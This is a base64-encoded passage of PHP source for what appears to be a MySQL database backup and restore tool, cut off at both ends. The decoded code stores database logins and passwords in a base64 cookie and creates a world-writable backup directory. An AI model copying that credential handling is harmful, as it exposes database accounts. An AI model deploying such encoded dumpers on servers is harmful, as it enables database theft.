YHRgdGC0LDQvdC+0LLQu9C10L3QuNC4Ci8vINCd0LAg0YHQu9GD0YfQsNC5INC/0LXRgNC10L3QvtGB0LAg0YHQviDRgdGC0LDRgNGL0YUg0LLQtdGA0YHQuNC5IE15U1FMICjQtNC+IDQuMSksINGDINC60L7RgtC+0YDRi9GFINC90LUg0YPQutCw0LfQsNC90LAg0LrQvtC00LjRgNC+0LLQutCwINGC0LDQsdC70LjRhiDQsiDQtNCw0LzQv9C1Ci8vINCf0YDQuCDQtNC+0LHQsNCy0LvQtdC90LjQuCAnZm9yY2VkLT4nLCDQuiDQv9GA0LjQvNC10YDRgyAnZm9yY2VkLT5jcDEyNTEnLCDQutC+0LTQuNGA0L7QstC60LAg0YLQsNCx0LvQuNGGINC/0YDQuCDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC4INCx0YPQtNC10YIg0L/RgNC40L3Rg9C00LjRgtC10LvRjNC90L4g0LfQsNC80LXQvdC10L3QsCDQvdCwIGNwMTI1MQovLyDQnNC+0LbQvdC+INGC0LDQutC20LUg0YPQutCw0LfRi9Cy0LDRgtGMINGB0YDQsNCy0L3QtdC90LjQtSDQvdGD0LbQvdC+0LUg0Log0L/RgNC40LzQtdGA0YMgJ2NwMTI1MV91a3JhaW5pYW5fY2knINC40LvQuCAnZm9yY2VkLT5jcDEyNTFfdWtyYWluaWFuX2NpJwpkZWZpbmUoJ1JFU1RPUkVfQ0hBUlNFVCcsICd1dGY4X2JpbicpOwovLyBzYXZlIHNldHRpbmdzIGFuZCBsYXN0IGFjdGlvbnMKLy8gMCAtIGRpc2FibGUsIDEgLSBlbmFibGUKZGVmaW5lKCdTQycsIDEpOwovLyBUYWJsZSB0eXBlcyBmb3Igc3RvcmUgc3RydWN0IG9ubHkgKHNlcGFyYXRlZCBieSBjb21tYSkKZGVmaW5lKCdPTkxZX0NSRUFURScsICdNUkdfTXlJU0FNLE1FUkdFLEhFQVAsTUVNT1JZJyk7Ci8vIEdsb2JhbCBzdGF0cwovLyAwIC0gZGlzYWJsZSwgMSAtIGVuYWJsZQpkZWZpbmUoJ0dTJywgMCk7CgovLyBFbmQgY29uZmlndXJhdGlvbiBibG9jayAtIHN0YXJ0IGNvZGUgYmxvY2sKJGR1bXBlcl9maWxlID0gYmFzZW5hbWUoX19GSUxFX18pOwoKJGlzX3NhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpID09ICcxJyA/IDEgOiAwOwppZiAoISRpc19zYWZlX21vZGUgJiYgZnVuY3Rpb25fZXhpc3RzKCdzZXRfdGltZV9saW1pdCcpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsKCmhlYWRlcigiRXhwaXJlczogVHVlLCAxIEp1bCAyMDAzIDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIgLiBnbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikgLiAiIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoKJHRpbWVyID0gYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpOwpvYl9pbXBsaWNpdF9mbHVzaCgpOwplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwoKJGF1dGggPSAwOwokZXJyb3IgPSAnJzsKaWYgKCFlbXB0eSgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzcyddKSkgewogICAgICAgIGlmIChAbXlzcWxfY29ubmVjdChEQkhPU1QsICRfUE9TVFsnbG9naW4nXSwgJF9QT1NUWydwYXNzJ10pKXsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgic3hkIiwgYmFzZTY0X2VuY29kZSgiU0tEMTAxOnskX1BPU1RbJ2xvZ2luJ119OnskX1BPU1RbJ3Bhc3MnXX0iKSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkZHVtcGVyX2ZpbGUiKTsKICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSAnIycgLiBteXNxbF9lcnJubygpIC4gJzogJyAuIG15c3FsX2Vycm9yKCk7CiAgICAgICAgfQp9CmVsc2VpZiAoIWVtcHR5KCRfQ09PS0lFWydzeGQnXSkpIHsKICAgICR1c2VyID0gZXhwbG9kZSgiOiIsIGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbJ3N4ZCddKSk7CiAgICAgICAgaWYgKEBteXNxbF9jb25uZWN0KERCSE9TVCwgJHVzZXJbMV0sICR1c2VyWzJdKSl7CiAgICAgICAgICAgICAgICAkYXV0aCA9IDE7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSAnIycgLiBteXNxbF9lcnJubygpIC4gJzogJyAuIG15c3FsX2Vycm9yKCk7CiAgICAgICAgfQp9CgppZiAoISRhdXRoIHx8IChpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pICYmICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSA9PSAncmVsb2FkJykpIHsKICAgICAgICBzZXRjb29raWUoInN4ZCIpOwogICAgICAgIGVjaG8gdHBsX3BhZ2UodHBsX2F1dGgoJGVycm9yID8gdHBsX2Vycm9yKCRlcnJvcikgOiAnJyksICI8U0NSSVBUPmlmIChqc0VuYWJsZWQpIHtkb2N1bWVudC53cml0ZSgnPElOUFVUIFRZUEU9c3VibWl0IFZBTFVFPUFwcGx5PicpO308L1NDUklQVD4iKTsKICAgICAgICBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0aW1lcicpLmlubmVySFRNTCA9ICciIC4gcm91bmQoYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpIC0gJHRpbWVyLCA0KSAuICIgc2VjLic8L1NDUklQVD4iOwogICAgICAgIGV4aXQ7Cn0KaWYgKCFmaWxlX2V4aXN0cyhQQVRIKSAmJiAhJGlzX3NhZmVfbW9kZSkgewogICAgbWtkaXIoUEFUSCwgMDc3NykgfHwgdHJpZ2dlcl9lcnJvcigiQ2FuJ3QgY3JlYXRlIGRpciBmb3IgYmFja3VwIiwgRV9VU0VSX0VSUk9SKTsKfQoKJFNLID0gbmV3IGR1bXBlcigpOwpkZWZpbmUoJ0NfREVGQVVMVCcsIDEpOwpkZWZpbmUoJ0NfUkVTVUxUJywgMik7CmRlZmluZSgnQ19FUlJPUicsIDMpOwpkZWZpbmUoJ0NfV0FSTklORycsIDQpOwoKJGFjdGlvbiA9IGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pID8gJF9SRVFVRVNUWydhY3Rpb24nXSA6ICcnOwpzd2l0Y2goJGFjdGlvbil7CiAgICAgICAgY2FzZSAnYmFja3VwJzoKICAgICAgICAgICAgICAgICRTSy0+YmFja3VwKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZXN0b3JlJzoKICAgICAgICAgICAgICAgICRTSy0+cmVzdG9yZSgpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICRTSy0+bWFpbigpOwp9CgpteXNxbF9jbG9zZSgpOwoKZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGltZXInKS5pbm5lckhUTUwgPSAnIiAuIHJvdW5kKGFycmF5X3N1bShleHBsb2RlKCcgJywgbWljcm90aW1lKCkpKSAtICR0aW1lciwgNCkgLiAiIHNlYy4nPC9TQ1JJUFQ+IjsKCmNsYXNzIGR1bXBlciB7CiAgICAgICAgZnVuY3Rpb24gZHVtcGVyKCkgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiKSkgewogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUoUEFUSCAuICJkdW1wZXIuY2ZnLnBocCIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnbGFzdF9hY3Rpb24nXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfYmFja3VwJ10gPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsndGFibGVzJ10gPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXSAgPSA3OwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWydsYXN0X2RiX3Jlc3RvcmUnXSA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPnRhYnMgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlY29yZHMgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPnNpemUgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPmNvbXAgPSAwOwoKICAgICAgICAgICAgICAgIC8vINCS0LXRgNGB0LjRjyBNeVNRTCDQstC40LTQsCA0MDEwMQogICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL14oXGQrKVwuKFxkKylcLihcZCspLyIsIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLCAkbSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+bXlzcWxfdmVyc2lvbiA9IHNwcmludGYoIiVkJTAyZCUwMmQiLCAkbVsxXSwgJG1bMl0sICRtWzNdKTsKCiAgICAgICAgICAgICAgICAkdGhpcy0+b25seV9jcmVhdGUgPSBleHBsb2RlKCcsJywgT05MWV9DUkVBVEUpOwogICAgICAgICAgICAgICAgJHRoaXMtPmZvcmNlZF9jaGFyc2V0ICA9IGZhbHNlOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlc3RvcmVfY2hhcnNldCA9ICR0aGlzLT5yZXN0b3JlX2NvbGxhdGUgPSAnJzsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvXihmb3JjZWQtPik/KChbYS16MC05XSspKFxfXHcrKT8pJC8iLCBSRVNUT1JFX0NIQVJTRVQsICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm9yY2VkX2NoYXJzZXQgID0gJG1hdGNoZXNbMV0gPT0gJ2ZvcmNlZC0+JzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlc3RvcmVfY2hhcnNldCA9ICRtYXRjaGVzWzNdOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cmVzdG9yZV9jb2xsYXRlID0gIWVtcHR5KCRtYXRjaGVzWzRdKSA/ICcgQ09MTEFURSAnIC4gJG1hdGNoZXNbMl0gOiAnJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGJhY2t1cCgpIHsKICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUKSkgeyR0aGlzLT5tYWluKCk7fQogICAgICAgICAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoIlNYRF9lcnJvckhhbmRsZXIiKTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxBIElEPXNhdmUgSFJFRj0nJyBTVFlMRT0nZGlzcGxheTogbm9uZTsnPkRvd25sb2FkIGZpbGU8L0E+ICZuYnNwOyA8SU5QVVQgSUQ9YmFjayBUWVBFPWJ1dHRvbiBWQUxVRT0nQmFjaycgRElTQUJMRUQgb25DbGljaz1cImhpc3RvcnkuYmFjaygpO1wiPiI7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9wYWdlKHRwbF9wcm9jZXNzKCJEQiBiYWNrdXAgaW4gcHJvZ3Jlc3MiKSwgJGJ1dHRvbnMpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfYWN0aW9uJ10gICAgID0gMDsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfYmFja3VwJ10gID0gaXNzZXQoJF9QT1NUWydkYl9iYWNrdXAnXSkgPyAkX1BPU1RbJ2RiX2JhY2t1cCddIDogJyc7CiAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWyd0YWJsZXNfZXhjbHVkZSddICA9ICFlbXB0eSgkX1BPU1RbJ3RhYmxlcyddKSAmJiAkX1BPU1RbJ3RhYmxlcyddezB9ID09ICdeJyA/IDEgOiAwOwogICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsndGFibGVzJ10gICAgICAgICAgPSBpc3NldCgkX1BPU1RbJ3RhYmxlcyddKSA/ICRfUE9TVFsndGFibGVzJ10gOiAnJzsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gICAgID0gaXNzZXQoJF9QT1NUWydjb21wX21ldGhvZCddKSA/IGludHZhbCgkX1BPU1RbJ2NvbXBfbWV0aG9kJ10pIDogMDsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXSAgICAgID0gaXNzZXQoJF9QT1NUWydjb21wX2xldmVsJ10pID8gaW50dmFsKCRfUE9TVFsnY29tcF9sZXZlbCddKSA6IDA7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fc2F2ZSgpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ3RhYmxlcyddICAgICAgICAgID0gZXhwbG9kZSgiLCIsICR0aGlzLT5TRVRbJ3RhYmxlcyddKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyd0YWJsZXMnXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0aGlzLT5TRVRbJ3RhYmxlcyddIEFTICR0YWJsZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZSA9IHByZWdfcmVwbGFjZSgiL1teXHcqP15dLyIsICIiLCAkdGFibGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gYXJyYXkoICIvXD8vIiwgIi9cKi8iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVwbGFjZSA9IGFycmF5KCAiLiIsICIuKj8iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsc1tdID0gcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCAkcmVwbGFjZSwgJHRhYmxlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ3RhYmxlc19leGNsdWRlJ10gPSAxOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U0VUWydjb21wX2xldmVsJ10gPT0gMCkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPSAwOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGRiID0gJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXTsKCiAgICAgICAgICAgICAgICBpZiAoISRkYikgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQntCo0JjQkdCa0JAhINCd0LUg0YPQutCw0LfQsNC90LAg0LHQsNC30LAg0LTQsNC90L3Ri9GFISIsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9lbmFibGVCYWNrKCk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIkNvbm5lY3Rpb24gdG8gREIgYHskZGJ9YC4iKTsKICAgICAgICAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC1INGD0LTQsNC10YLRgdGPINCy0YvQsdGA0LDRgtGMINCx0LDQt9GDINC00LDQvdC90YvRhS48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7CiAgICAgICAgICAgICAgICAkdGFibGVzID0gYXJyYXkoKTsKICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIik7CiAgICAgICAgICAgICAgICAkYWxsID0gMDsKICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1cyA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRibHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0YmxzIEFTICR0YWJsZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4Y2x1ZGUgPSBwcmVnX21hdGNoKCIvXlxeLyIsICR0YWJsZSkgPyB0cnVlIDogZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZXhjbHVkZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9eeyR0YWJsZX0kL2kiLCAkcm93WzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdGF0dXMgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsbCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZXhjbHVkZSAmJiBwcmVnX21hdGNoKCIveyR0YWJsZX0kL2kiLCAkcm93WzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3RhdHVzID0gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1cyA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzdGF0dXMgPj0gJGFsbCkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGFibGVzW10gPSAkcm93WzBdOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgICAgICAgICAkdGFicyA9IGNvdW50KCR0YWJsZXMpOwogICAgICAgICAgICAgICAgLy8g0J7Qv9GA0LXQtNC10LvQtdC90LjQtSDRgNCw0LfQvNC10YDQvtCyINGC0LDQsdC70LjRhgogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIpOwogICAgICAgICAgICAgICAgJHRhYmluZm8gPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHRhYl9jaGFyc2V0ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICR0YWJfdHlwZSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkdGFiaW5mb1swXSA9IDA7CiAgICAgICAgICAgICAgICAkaW5mbyA9ICcnOwogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vcHJpbnRfcigkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGluX2FycmF5KCRpdGVtWydOYW1lJ10sICR0YWJsZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ1Jvd3MnXSA9IGVtcHR5KCRpdGVtWydSb3dzJ10pID8gMCA6ICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYmluZm9bMF0gKz0gJGl0ZW1bJ1Jvd3MnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFiaW5mb1skaXRlbVsnTmFtZSddXSA9ICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpemUgKz0gJGl0ZW1bJ0RhdGFfbGVuZ3RoJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnNpemVbJGl0ZW1bJ05hbWUnXV0gPSAxICsgcm91bmQoTElNSVQgKiAxMDQ4NTc2IC8gKCRpdGVtWydBdmdfcm93X2xlbmd0aCddICsgMSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpdGVtWydSb3dzJ10pICRpbmZvIC49ICJ8IiAuICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkaXRlbVsnQ29sbGF0aW9uJ10pICYmIHByZWdfbWF0Y2goIi9eKFthLXowLTldKylfL2kiLCAkaXRlbVsnQ29sbGF0aW9uJ10sICRtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYl9jaGFyc2V0WyRpdGVtWydOYW1lJ11dID0gJG1bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJfdHlwZVskaXRlbVsnTmFtZSddXSA9IGlzc2V0KCRpdGVtWydFbmdpbmUnXSkgPyAkaXRlbVsnRW5naW5lJ10gOiAkaXRlbVsnVHlwZSddOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkc2hvdyA9IDEwICsgJHRhYmluZm9bMF0gLyA1MDsKICAgICAgICAgICAgICAgICRpbmZvID0gJHRhYmluZm9bMF0gLiAkaW5mbzsKICAgICAgICAgICAgICAgICRuYW1lID0gJGRiIC4gJ18nIC4gZGF0ZSgiWS1tLWRfSC1pIik7CiAgICAgICAgJGZwID0gJHRoaXMtPmZuX29wZW4oJG5hbWUsICJ3Iik7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJDcmVhdGUgZmlsZSB3aXRoIGJhY2t1cCBvZiBEQjo8QlI+XFxuICAtICB7JHRoaXMtPmZpbGVuYW1lfSIpOwogICAgICAgICAgICAgICAgJHRoaXMtPmZuX3dyaXRlKCRmcCwgIiNTS0QxMDF8eyRkYn18eyR0YWJzfXwiIC4gZGF0ZSgiWS5tLmQgSDppOnMiKSAuInx7JGluZm99XG5cbiIpOwogICAgICAgICAgICAgICAgJHQ9MDsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFVCBTUUxfUVVPVEVfU0hPV19DUkVBVEUgPSAxIik7CiAgICAgICAgICAgICAgICAvLyDQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0L/QviDRg9C80L7Qu9GH0LDQvdC40Y4KICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bXlzcWxfdmVyc2lvbiA+IDQwMTAxICYmIENIQVJTRVQgIT0gJ2F1dG8nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiBDSEFSU0VUIC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtdGD0LTQsNC10YLRgdGPINC40LfQvNC10L3QuNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDINGB0L7QtdC00LjQvdC10L3QuNGPLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9IENIQVJTRVQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJHRhYmxlcyBBUyAkdGFibGUpewogICAgICAgICAgICAgICAgICAgICAgICAvLyDQktGL0YHRgtCw0LLQu9GP0LXQvCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8g0YHQvtC+0YLQstC10YLRgdGC0LLRg9GO0YnRg9GOINC60L7QtNC40YDQvtCy0LrQtSDRgtCw0LHQu9C40YbRiwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiAkdGFiX2NoYXJzZXRbJHRhYmxlXSAhPSAkbGFzdF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKENIQVJTRVQgPT0gJ2F1dG8nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9xdWVyeSgiU0VUIE5BTUVTICciIC4gJHRhYl9jaGFyc2V0WyR0YWJsZV0gLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC10YPQtNCw0LXRgtGB0Y8g0LjQt9C80LXQvdC40YLRjCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8uPEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkdGFiX2NoYXJzZXRbJHRhYmxlXSAuICJgLiIsIENfV0FSTklORyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRhYl9jaGFyc2V0WyR0YWJsZV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCfQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0Lgg0YLQsNCx0LvQuNGG0Ysg0L3QtSDRgdC+0LLQv9Cw0LTQsNC10YI6JywgQ19FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCdUYWJsZSBgJy4gJHRhYmxlIC4nYCAtPiAnIC4gJHRhYl9jaGFyc2V0WyR0YWJsZV0gLiAnICjRgdC+0LXQtNC40L3QtdC90LjQtSAnICAuIENIQVJTRVQgLiAnKScsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQntCx0YDQsNCx0L7RgtC60LAg0YLQsNCx0LvQuNGG0YsgYHskdGFibGV9YCBbIiAuIGZuX2ludCgkdGFiaW5mb1skdGFibGVdKSAuICJdLiIpOwogICAgICAgICAgICAgICAgLy8gQ3JlYXRlIHRhYmxlCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYHskdGFibGV9YCIpOwogICAgICAgICAgICAgICAgJHRhYiA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwogICAgICAgICAgICAgICAgICAgICAgICAkdGFiID0gcHJlZ19yZXBsYWNlKCcvKGRlZmF1bHQgQ1VSUkVOVF9USU1FU1RBTVAgb24gdXBkYXRlIENVUlJFTlRfVElNRVNUQU1QfERFRkFVTFQgQ0hBUlNFVD1cdyt8Q09MTEFURT1cdyt8Y2hhcmFjdGVyIHNldCBcdyt8Y29sbGF0ZSBcdyspL2knLCAnLyohNDAxMDEgXFwxICovJywgJHRhYik7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYHskdGFibGV9YDtcbnskdGFiWzFdfTtcblxuIik7CiAgICAgICAgICAgICAgICAvLyBDaGVjazogTmVlZCB0byBkdW1wIGRhdGE/CiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHRhYl90eXBlWyR0YWJsZV0sICR0aGlzLT5vbmx5X2NyZWF0ZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8g0J7Qv9GA0LXQtNC10LTQtdC70Y/QtdC8INGC0LjQv9GLINGB0YLQvtC70LHRhtC+0LIKICAgICAg